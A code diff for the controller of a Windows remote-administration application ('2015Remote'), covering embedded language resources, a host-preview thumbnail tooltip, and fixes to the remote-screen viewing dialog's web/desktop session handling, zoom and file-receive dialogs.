@@ -164,26 +182,103 @@ public:
    }

    // 加载语言文件
+    // 优先从内嵌资源加载，然后用磁盘文件覆盖（如果存在）
    bool Load(const CString& langCode)
    {
        m_strings.clear();
        m_currentLang = langCode;

-        // 如果是中文，不需要加载翻译
+        // 中文模式：检查是否有补丁文件
        if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
+            // 尝试加载中文补丁文件（可选）
+            CString patchFile = m_langDir + _T("\\zh_CN.ini");
+            if (GetFileAttributes(patchFile) != INVALID_FILE_ATTRIBUTES) {
+                CIniParser ini;
+                if (ini.LoadFile((LPCSTR)patchFile)) {
+                    const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
+                    if (pSection) {
+                        for (const auto& kv : *pSection) {
+                            m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
+                        }
+                    }
+                    TRACE("[Lang] Loaded zh_CN patch: %d strings\n", (int)m_strings.size());
+                }
+            }
            return true;
        }

-        CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
+        // 1. 先从内嵌资源加载（英语和繁体中文）
+        bool hasBuiltin = LoadFromResource(langCode);

-        // 检查文件是否存在
-        if (GetFileAttributes(langFile) == INVALID_FILE_ATTRIBUTES) {
+        // 2. 再从磁盘文件加载（覆盖内嵌翻译）
+        CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
+        if (GetFileAttributes(langFile) != INVALID_FILE_ATTRIBUTES) {
+            CIniParser ini;
+            // 如果有内嵌资源，使用追加模式覆盖；否则使用普通加载
+            if (hasBuiltin) {
+                // 追加模式：磁盘文件中的翻译会覆盖内嵌翻译
+                if (ini.LoadFile((LPCSTR)langFile)) {
+                    const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
+                    if (pSection) {
+                        for (const auto& kv : *pSection) {
+                            m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
+                        }
+                    }
+                    TRACE("[Lang] Loaded disk file (override): %s\n", (LPCSTR)langFile);
+                }
+            } else {
+                // 无内嵌资源，直接从磁盘加载
+                if (ini.LoadFile((LPCSTR)langFile)) {
+                    const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
+                    if (pSection) {
+                        for (const auto& kv : *pSection) {
+                            m_strings[CString(kv.first.c_str())] = CString(kv.second.c_str());
+                        }
+                    }
+                    TRACE("[Lang] Loaded disk file: %s\n", (LPCSTR)langFile);
+                    return true;
+                }
+            }
+        }
+
+        return hasBuiltin || !m_strings.empty();
+    }
+
+    // 从内嵌资源加载语言数据
+    bool LoadFromResource(const CString& langCode)
+    {
+        UINT resID = 0;
+        if (langCode == _T("en_US")) {
+            resID = IDR_LANG_EN_US;
+        } else if (langCode == _T("zh_TW")) {
+            resID = IDR_LANG_ZH_TW;
+        } else {
+            return false;  // 无内嵌资源
+        }
+
+        HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resID), RT_RCDATA);
+        if (!hRes) {
+            TRACE("[Lang] Resource not found: %d\n", resID);
            return false;
        }

-        // 使用 CIniParser 解析，无文件大小限制，且不 trim key
+        HGLOBAL hData = LoadResource(NULL, hRes);
+        if (!hData) {
+            TRACE("[Lang] Failed to load resource: %d\n", resID);
+            return false;
+        }
+
+        const char* data = (const char*)LockResource(hData);
+        DWORD size = SizeofResource(NULL, hRes);
+        if (!data || size == 0) {
+            TRACE("[Lang] Empty resource: %d\n", resID);
+            return false;
+        }
+
+        // 使用 CIniParser 从内存解析
        CIniParser ini;
-        if (!ini.LoadFile((LPCSTR)langFile)) {
+        if (!ini.LoadFromMemory(data, size)) {
+            TRACE("[Lang] Failed to parse resource: %d\n", resID);
            return false;
        }

@@ -194,6 +289,8 @@ public:
            }
        }

+        TRACE("[Lang] Loaded builtin resource: %s (%d strings)\n",
+              (LPCSTR)langCode, (int)m_strings.size());
        return true;
    }

@@ -625,24 +722,24 @@ protected:
        AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
        AppendWord(0);  // 菜单
        AppendWord(0);  // 窗口类
-        AppendString(_T("选择语言 / Select Language"));
+        AppendString(_T("Select Language"));
        AlignToDword();

        // 静态文本
-        AddControl(0x0082, 15, 15, 40, 12, (WORD)-1,
-                   SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
+        AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
+                   SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));

        // ComboBox
-        AddControl(0x0085, 55, 13, 130, 150, 1001,
+        AddControl(0x0085, 65, 13, 120, 150, 1001,
                   CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));

-        // 确定按钮
+        // OK 按钮
        AddControl(0x0080, 45, 50, 50, 14, IDOK,
-                   BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
+                   BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));

-        // 取消按钮
+        // Cancel 按钮
        AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
-                   BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
+                   BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));

        return (LPCDLGTEMPLATE)m_templateBuffer.data();
    }
@@ -703,8 +800,8 @@ protected:

        m_comboLang.SubclassDlgItem(1001, this);

-        // 添加简体中文
-        int idx = m_comboLang.AddString(_T("简体中文"));
+        // 添加简体中文（显示为英语避免乱码）
+        int idx = m_comboLang.AddString(GetLanguageDisplayName(_T("zh_CN")));
        m_langCodes.push_back(_T("zh_CN"));
        m_comboLang.SetItemData(idx, 0);

--- a/server/2015Remote/PreviewTipWnd.cpp
+++ b/server/2015Remote/PreviewTipWnd.cpp
@@ -0,0 +1,243 @@
+// PreviewTipWnd.cpp
+#include "stdafx.h"
+#include "PreviewTipWnd.h"
+
+#include <objidl.h>     // IUnknown / IStream — gdiplus.h 依赖它们已声明
+#include <gdiplus.h>
+#pragma comment(lib, "gdiplus.lib")
+
+using namespace Gdiplus;
+
+namespace {
+constexpr int PADDING        = 8;
+constexpr int IMAGE_TEXT_GAP = 6;     // 图像与下方文本之间的留白
+constexpr int MIN_TEXT_W     = 360;
+constexpr int MAX_TEXT_W     = 720;   // 文本可换行宽度上限（垂直布局，宽度不再受图像挤压）
+constexpr int MAX_IMAGE_W    = 960;   // 显示上限（防止 LAN 档 1280 的 JPEG 把窗口顶到屏幕外）
+constexpr int LOADING_W      = 480;   // 占位的最小宽度（图像未到达时）
+constexpr int LOADING_H      = 270;
+} // namespace
+
+BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
+    ON_WM_PAINT()
+    ON_WM_ERASEBKGND()
+END_MESSAGE_MAP()
+
+CPreviewTipWnd::CPreviewTipWnd() = default;
+
+CPreviewTipWnd::~CPreviewTipWnd()
+{
+    // m_image 通过 unique_ptr 自动释放
+}
+
+BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
+{
+    m_text = text;
+    m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
+    m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
+    if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
+        m_imageReserveW = LOADING_W;
+        m_imageReserveH = LOADING_H;
+    }
+
+    // 创建字体（项目是 MBCS，但浮窗用宽字符；显式 LOGFONTW + W 版 API 避免编码混淆）
+    LOGFONTW lf = {};
+    HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT);
+    if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) {
+        hSysFont = nullptr;
+    }
+    if (!hSysFont) {
+        lf.lfHeight = -12;
+        wcscpy_s(lf.lfFaceName, L"Microsoft YaHei");
+    }
+    HFONT hF = ::CreateFontIndirectW(&lf);
+    if (hF) m_font.Attach(hF);
+
+    // 注册自绘窗口类：用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
+    LPCTSTR kClass = AfxRegisterWndClass(
+        CS_SAVEBITS,
+        ::LoadCursor(NULL, IDC_ARROW),
+        (HBRUSH)(COLOR_INFOBK + 1),
+        NULL);
+
+    // 临时尺寸；RecalcLayoutAndResize 会在创建后调整
+    CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
+    BOOL bOk = CWnd::CreateEx(
+        WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
+        kClass, _T(""),
+        WS_POPUP | WS_BORDER,
+        rc, pParent, 0);
+    if (!bOk) return FALSE;
+
+    RecalcLayoutAndResize();
+
+    ShowWindow(SW_SHOWNOACTIVATE);
+    return TRUE;
+}
+
+void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
+{
+    if (!data || bytes == 0) return;
+
+    HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes);
+    if (!hMem) return;
+    void* p = ::GlobalLock(hMem);
+    if (!p) { ::GlobalFree(hMem); return; }
+    memcpy(p, data, bytes);
+    ::GlobalUnlock(hMem);
+
+    IStream* stream = nullptr;
+    if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) {
+        ::GlobalFree(hMem);
+        return;
+    }
+
+    std::unique_ptr<Bitmap> bmp(new Bitmap(stream, FALSE));
+    stream->Release();   // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem
+
+    if (!bmp || bmp->GetLastStatus() != Ok) {
+        return;
+    }
+
+    m_image = std::move(bmp);
+    m_hasImage = true;
+    m_unavailable = false;
+    RecalcLayoutAndResize();
+    if (GetSafeHwnd()) Invalidate();
+}
+
+void CPreviewTipWnd::MarkPreviewUnavailable()
+{
+    if (m_hasImage) return;   // 已经有图就不再覆盖
+    m_unavailable = true;
+    if (GetSafeHwnd()) Invalidate();
+}
+
+void CPreviewTipWnd::RecalcLayoutAndResize()
+{
+    HWND hWnd = GetSafeHwnd();
+    if (!hWnd) return;
+
+    // 估算图像尺寸（先算图像，因为文本宽度要参考图像宽度对齐）
+    if (m_image) {
+        int iw = (int)m_image->GetWidth();
+        int ih = (int)m_image->GetHeight();
+        if (iw > MAX_IMAGE_W) {
+            ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5);
+            iw = MAX_IMAGE_W;
+        }
+        m_imageDrawW = iw;
+        m_imageDrawH = ih;
+    } else {
+        m_imageDrawW = m_imageReserveW;
+        m_imageDrawH = m_imageReserveH;
+    }
+
+    // 文本换行宽度：与图像同宽（让文本视觉上对齐到图像下方），但不超过 MAX_TEXT_W
+    // 没有图像时退化到 MAX_TEXT_W
+    int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
+    if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
+
+    // 估算文本尺寸（项目是 MBCS，但浮窗文本是宽字符，必须显式调用 W 版本）
+    CClientDC dc(this);
+    CFont* old = dc.SelectObject(&m_font);
+    CRect rcText(0, 0, textWrapW, 32767);
+    ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
+                DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
+    m_textW = max((int)MIN_TEXT_W, rcText.Width());
+    if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW);   // 至少与图像同宽
+    m_textH = rcText.Height();
+    dc.SelectObject(old);
+
+    int contentW = max(m_imageDrawW, m_textW);
+    int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
+    int totalW = PADDING + contentW + PADDING;
+    int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
+
+    // 当前左上角
+    CRect rc;
+    GetWindowRect(&rc);
+    int newX = rc.left;
+    int newY = rc.top;
+
+    // 防止越出屏幕：右下夹紧到工作区
+    HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
+    MONITORINFO mi = { sizeof(mi) };
+    if (hMon && GetMonitorInfo(hMon, &mi)) {
+        if (newX + totalW > mi.rcWork.right)  newX = max((int)mi.rcWork.left,  mi.rcWork.right  - totalW);
+        if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top,   mi.rcWork.bottom - totalH);
+    }
+
+    SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
+}
+
+BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
+{
+    return TRUE;   // 在 OnPaint 里整体填充
+}
+
+void CPreviewTipWnd::OnPaint()
+{
+    CPaintDC pdc(this);
+    CRect rcClient;
+    GetClientRect(&rcClient);
+
+    // 双缓冲
+    CDC memDC;
+    memDC.CreateCompatibleDC(&pdc);
+    CBitmap memBmp;
+    memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
+    CBitmap* oldBmp = memDC.SelectObject(&memBmp);
+
+    memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
+
+    CFont* oldFont = memDC.SelectObject(&m_font);
+    memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+    memDC.SetBkMode(TRANSPARENT);
+
+    int curY = PADDING;
+    if (m_imageDrawW > 0 && m_imageDrawH > 0) {
+        CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
+        DrawImageArea(memDC, rcImg);
+        curY += m_imageDrawH + IMAGE_TEXT_GAP;
+    }
+
+    CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
+    DrawTextArea(memDC, rcText);
+
+    memDC.SelectObject(oldFont);
+    pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
+    memDC.SelectObject(oldBmp);
+}
+
+void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
+{
+    // 边框
+    dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
+
+    if (m_hasImage && m_image) {
+        Graphics g(dc.GetSafeHdc());
+        g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
+        g.SetSmoothingMode(SmoothingModeHighQuality);
+        g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
+    } else {
+        // 占位灰色背景
+        CRect rcInner = rc;
+        rcInner.DeflateRect(1, 1);
+        dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
+
+        const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
+        UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
+        dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
+        RECT rcInnerRaw = rcInner;
+        ::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
+        dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
+    }
+}
+
+void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
+{
+    RECT r = rc;
+    ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
+                DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
+}
--- a/server/2015Remote/PreviewTipWnd.h
+++ b/server/2015Remote/PreviewTipWnd.h
@@ -0,0 +1,57 @@
+// PreviewTipWnd.h
+// 双击在线主机时弹出的浮窗：上方 JPEG 缩略图，下方主机信息文本。
+// 无图片时显示"加载预览…"占位，供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
+#pragma once
+
+#include <afxwin.h>
+#include <memory>
+#include <vector>
+
+namespace Gdiplus { class Bitmap; }
+
+class CPreviewTipWnd : public CWnd
+{
+public:
+    CPreviewTipWnd();
+    virtual ~CPreviewTipWnd();
+
+    // 创建浮窗。
+    //   anchor          屏幕坐标，浮窗左上角
+    //   text            下方显示的主机详情文本（宽字符，确保跨语言系统正确渲染）
+    //   imageReserveW   上方图像区域预留宽度（即将到来的预览最大宽度，仅作初始布局）
+    //                   为 0 表示不预留 — 与老 STATIC 路径行为一致（仅文本）
+    BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
+
+    // 收到 JPEG 后调用：解码并重画。线程安全前提是只在主 UI 线程调用。
+    void SetImageFromJpeg(const BYTE* data, size_t bytes);
+    // 标记预览不可用（请求超时 / 客户端报错）。
+    void MarkPreviewUnavailable();
+
+    WORD GetReqId() const { return m_reqId; }
+    void SetReqId(WORD id) { m_reqId = id; }
+
+protected:
+    afx_msg void OnPaint();
+    afx_msg BOOL OnEraseBkgnd(CDC* pDC);
+    DECLARE_MESSAGE_MAP()
+
+private:
+    void RecalcLayoutAndResize();
+    void DrawImageArea(CDC& dc, const CRect& rc);
+    void DrawTextArea(CDC& dc, const CRect& rc);
+
+    CStringW m_text;
+    int m_imageReserveW = 0;     // 预留图像宽度（图像未到达时占位）
+    int m_imageReserveH = 0;     // 预留图像高度（按 16:9）
+    int m_imageDrawW = 0;        // 实际图像绘制宽度
+    int m_imageDrawH = 0;        // 实际图像绘制高度
+    int m_textW = 0;
+    int m_textH = 0;
+
+    bool m_hasImage = false;
+    bool m_unavailable = false;
+    std::unique_ptr<Gdiplus::Bitmap> m_image;
+
+    CFont m_font;
+    WORD  m_reqId = 0;
+};
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -157,8 +157,9 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
    if (pClientID) {
        m_ClientID = *((uint64_t*)pClientID);

-        // Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
-        if (WebService().IsRunning()) {
+        // Notify web clients of resolution (only for Web sessions, not MFC sessions)
+        // At this point, IsMfcTriggered is still set if MFC triggered this dialog
+        if (WebService().IsRunning() && !WebService().IsMfcTriggered(m_ClientID)) {
            int width = m_BitmapInfor_Full->bmiHeader.biWidth;
            int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
            WebService().NotifyResolutionChange(m_ClientID, width, height);
@@ -237,10 +238,14 @@ CScreenSpyDlg::~CScreenSpyDlg()
    StopAudioPlayback();

    // 清理所有文件接收对话框
-    for (auto& pair : m_FileRecvDlgs) {
-        if (pair.second) {
-            pair.second->DestroyWindow();
-            delete pair.second;
+    // 注意：对话框可能已经被用户关闭并自我销毁（PostNcDestroy 中 delete this）
+    // 存储了 HWND 用于安全检查，避免访问野指针
+    for (auto& entry : m_FileRecvDlgs) {
+        HWND hWnd = entry.second.first;
+        if (hWnd && ::IsWindow(hWnd)) {
+            // 通过 HWND 同步发送关闭消息，确保对话框在析构前完全关闭
+            // 使用 SendMessage 而非 PostMessage，避免异步问题
+            ::SendMessage(hWnd, WM_CLOSE, 0, 0);
        }
    }
    m_FileRecvDlgs.clear();
@@ -484,6 +489,8 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
    ON_WM_VSCROLL()
    ON_WM_LBUTTONDOWN()
    ON_WM_LBUTTONUP()
+    ON_WM_RBUTTONDOWN()
+    ON_WM_RBUTTONUP()
    ON_WM_MOUSEWHEEL()
    ON_WM_MOUSEMOVE()
    ON_WM_MOUSELEAVE()
@@ -492,6 +499,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
    ON_WM_LBUTTONDBLCLK()
    ON_WM_ACTIVATE()
    ON_WM_TIMER()
+    ON_WM_ERASEBKGND()
    ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
    ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
    ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
@@ -500,6 +508,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
    ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
    ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
    ON_WM_DROPFILES()
+    ON_WM_CAPTURECHANGED()
 END_MESSAGE_MAP()


@@ -683,7 +692,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
    if (m_bIsCtrl) {
        ImmAssociateContext(m_hWnd, NULL);  // 控制模式：禁用 IME
    }
-    m_bIsTraceCursor = FALSE;  //不是跟踪
+    m_bIsTraceCursor = !m_bIsCtrl;  // 非控制状态，则跟踪鼠标
    m_ClientCursorPos.x = 0;
    m_ClientCursorPos.y = 0;
    m_bCursorIndex = 0;
@@ -761,14 +770,32 @@ BOOL CScreenSpyDlg::OnInitDialog()
    if (pMain)
        ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);

-    // 注册屏幕上下文到 WebService（用于 Web 端鼠标/键盘控制）
-    WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
+    // Determine session type: MFC or Web
+    // Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
+    // even if WebTriggered is also true (happens when Web is already open for same device)
+    bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
+    bool isWebSession = false;
+    if (isMfcSession) {
+        // MFC session: clear the flag, don't register with WebService
+        WebService().ClearMfcTriggered(m_ClientID);
+        // m_bIsWebSession remains false (default)
+    } else {
+        // Check if this is a Web session
+        isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();

-    // Hide window if this session was triggered by web client
-    if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
+        // Only register screen context for Web sessions
+        // MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
+        // This prevents MFC close from deleting Web's context (they share same device_id key)
+        if (isWebSession) {
+            WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
            m_bHide = true;
+            m_bIsWebSession = true;
            ShowWindow(SW_HIDE);
        }
+    }
+
+    Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
+        m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);

    return TRUE;
 }
@@ -776,8 +803,10 @@ BOOL CScreenSpyDlg::OnInitDialog()

 VOID CScreenSpyDlg::OnClose()
 {
-    // 注销屏幕上下文（Web 端控制）
+    // Only unregister if this is a Web session (we only registered for Web sessions)
+    if (m_bIsWebSession) {
        WebService().UnregisterScreenContext(m_ClientID);
+    }

    m_bIsClosed = true;
    m_bIsCtrl = FALSE;
@@ -840,13 +869,15 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam)
    uint64_t transferID = msgData->transferID;

    // 创建或获取进度对话框（按 transferID 管理）
-    CDlgFileSend*& dlg = m_FileRecvDlgs[transferID];
-    if (dlg == nullptr) {
+    auto& entry = m_FileRecvDlgs[transferID];
+    CDlgFileSend* dlg = entry.second;
+    if (dlg == nullptr || !::IsWindow(entry.first)) {
        dlg = new CDlgFileSend(m_pParent, m_ContextObject->GetServer(), m_ContextObject, FALSE);
        dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
        dlg->SetWindowTextA(_TR("接收文件"));
        dlg->ShowWindow(SW_SHOW);
        dlg->m_bKeepConnection = TRUE;  // 不断开连接
+        entry = { dlg->GetSafeHwnd(), dlg };
    }

    // 接收文件
@@ -889,7 +920,11 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam)
    // 关闭进度对话框
    auto it = m_FileRecvDlgs.find(transferID);
    if (it != m_FileRecvDlgs.end()) {
-        it->second->FinishFileSend(verifyOk);
+        // 只有窗口有效时才调用 FinishFileSend
+        if (::IsWindow(it->second.first)) {
+            it->second.second->FinishFileSend(verifyOk);
+        }
+        // 无论窗口是否有效，都要移除条目（避免累积无效条目）
        m_FileRecvDlgs.erase(it);
    }

@@ -964,18 +999,11 @@ VOID CScreenSpyDlg::OnReceiveComplete()
        PrepareDrawing(m_BitmapInfor_Full);
        // 分辨率切换完成，允许解码
        m_bResolutionChanging = false;
-        // Notify web clients of resolution change
-        if (WebService().IsRunning()) {
+        // Notify web clients of resolution change (only for Web session dialogs)
+        if (m_bIsWebSession && WebService().IsRunning()) {
            int width = m_BitmapInfor_Full->bmiHeader.biWidth;
            int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
            WebService().NotifyResolutionChange(m_ClientID, width, height);
-
-            // Hide window if this session was triggered by web client (and hiding is enabled)
-            if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
-                m_bHide = true;
-                ShowWindow(SW_HIDE);
-                Mprintf("[ScreenSpyDlg] Web-triggered session, hiding window for device %llu\n", m_ClientID);
-            }
        }
        break;
    }
@@ -1266,8 +1294,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
    m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
    if (bOldCursorIndex != m_bCursorIndex) {
        bChange = TRUE;
-        // 通知 Web 客户端光标变化
-        if (WebService().IsRunning()) {
+        // 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
+        if (m_bIsWebSession && WebService().IsRunning()) {
            WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
        }
        if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
@@ -1317,8 +1345,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
                    bChange = TRUE;
                }
            }
-            // Broadcast H264 keyframe to web clients
-            if (NextScreenLength > 0 && WebService().IsRunning()) {
+            // Broadcast H264 keyframe to web clients (only for Web session dialogs)
+            if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
                std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
                uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
                uint8_t frameType = 1;  // Keyframe
@@ -1376,9 +1404,9 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
                    bChange = TRUE;
                }
            }
-            // Broadcast H264 frame to web clients
+            // Broadcast H264 frame to web clients (only for Web session dialogs)
            // Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
-            if (NextScreenLength > 0 && WebService().IsRunning()) {
+            if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
                // Detect H264 keyframe by checking NAL unit type
                // NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
                bool isKeyFrame = false;
@@ -1463,8 +1491,8 @@ VOID CScreenSpyDlg::DrawScrollFrame()
    m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
    if (bOldCursorIndex != m_bCursorIndex) {
        bChange = TRUE;
-        // 通知 Web 客户端光标变化
-        if (WebService().IsRunning()) {
+        // 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
+        if (m_bIsWebSession && WebService().IsRunning()) {
            WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
        }
    }
@@ -1581,6 +1609,19 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
    return false;
 }

+// 跳过默认背景擦除：随帧重绘时若先 FillRect 灰色再 BitBlt 帧，会在两步之间
+// 出现"瞬时灰背景"，启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘，
+// 灰一闪 → 帧覆盖 → 重画光标，循环看上去就是光标频繁闪烁。
+// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区，本就不需要先擦；
+// m_bIsFirst（首帧未到达）仍走默认擦除以避免显示残留内容。
+BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC)
+{
+    if (m_bIsFirst) {
+        return __super::OnEraseBkgnd(pDC);
+    }
+    return TRUE;
+}
+
 void CScreenSpyDlg::OnPaint()
 {
    if (m_bIsClosed) return;
@@ -1594,9 +1635,18 @@ void CScreenSpyDlg::OnPaint()

    int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
    int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
-    if (m_bAdaptiveSize) {
    int dstW = m_CRect.Width();
    int dstH = m_CRect.Height();
+
+    // 放大模式渲染
+    if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
+        // 使用放大区域作为源进行StretchBlt
+        StretchBlt(m_hFullDC, 0, 0, dstW, dstH,
+                   m_hFullMemDC,
+                   m_rcZoomSrc.left, m_rcZoomSrc.top,
+                   m_rcZoomSrc.Width(), m_rcZoomSrc.Height(),
+                   SRCCOPY);
+    } else if (m_bAdaptiveSize) {
        // 尺寸相同时用 BitBlt（更快），否则用 StretchBlt
        if (srcW == dstW && srcH == dstH) {
            BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
@@ -1607,6 +1657,27 @@ void CScreenSpyDlg::OnPaint()
        BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
    }

+    // 绘制框选矩形（左键放大用红色，右键截图用绿色，二者颜色错开避免误操作）
+    if (m_bSelectingZoom || m_bSelectingShot) {
+        CPoint ptStart = m_bSelectingZoom ? m_ptZoomStart   : m_ptShotStart;
+        CPoint ptCur   = m_bSelectingZoom ? m_ptZoomCurrent : m_ptShotCurrent;
